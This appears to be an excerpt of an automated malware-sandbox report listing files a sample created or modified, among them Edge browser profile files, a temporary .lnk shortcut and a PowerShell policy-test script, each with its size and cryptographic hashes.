861db81792d6d7ca119f8cc8232c15a5af6ce9acb19e85ad56241bcd5f4fcf592225c9335a43f983170df3bf8c3b511b0dd8b72f1dcf71b1f350b68a2aa9fbce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b6259444083ebb051772a76273a51414

SHA1
99dc9a789c271abbc4619f1ddfcf0f9659de2c3c

SHA256
9ed13ff4f000a5219d44a22e951df9fddd2491506d213009c60e7d3a09743326

SHA512
12249dac6f07d2a339e2cade42bc917731862f29a2e03a353f91ed902cde95088f00e129752f91cfc715e1787ea66e78ae1cb54edcc954154e4132e8bd83ea90

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
b87fc66d2729aa0f2a14113117de9818

SHA1
1f73300e06d21b87a357f3c9e3cab47a9e864b47

SHA256
f5b716c186f3a7e22bd5637df856126b6e55e179fc507cd1a2c10ec211fa4f18

SHA512
f159e8d017aad9b59f6c23d040ff76c91f56584f4322a9bba82001e71050244e381e505abd26fa121b4be88aba41aa5b643b34ea596743b94251815b35bc0869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5c9a3ad569bd750e0793a9d98f5dc594

SHA1
98bfabe62f8be304c7c4791ab73da7be167ab1e1

SHA256
b0ee6dffe93658a7f181705fe301e80ff969e6d600d25d01caa863be00995e3a

SHA512
7a98f2e414db6659587b136893969f97b0b00f8e440c06ee848cd6a54c3e053e8b390a61a8ffd672f175b4c554ea91169982df4f576086f51fde65ca1fbebb0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zO8A598528\example.lnk

Filesize
106KB

MD5
6975af881b0b0e3751002dcc064b886a

SHA1
fa4fe5dfc3897677ee5b5c69cd189e4167427d37

SHA256
f5e258657d2fff2421af1045023ed6ffa0b2c5bdbee9cb186f143ee47320b0a3

SHA512
6ffa48d6d88ea3466a23e793aaca6288e4175c3cae4daa695213aaaa747077795ec5ea5aad0fb666aa59dff14922c8ef70f39245bafed5f891bf815e6eafb587

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_boyr4rnb.jem.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tesasd.txt

Filesize
52KB

MD5
11007bb286caf468648bfdb698077dbe

SHA1
c75bacef9096d5e8d3613e062ca10acb492a2d88

SHA256
04864cb1cc9647bd297b3bf8818595fc65d870a8fa74ee3a420fedfcafdfa292

SHA512
8ef29a7c561a224fca5ff289103b7c8e84c12f92e954bc3751907c430562f42c018aa8f5d7599852dea17bccf93e5fbb2e47cc75ba9ce377b58981f011e2ac17

Download Submit
memory/5472-138-0x000001E0EED30000-0x000001E0EED52000-memory.dmp

Filesize
136KB

Download
memory/5808-162-0x0000000000530000-0x0000000000540000-memory.dmp

Filesize
64KB

Download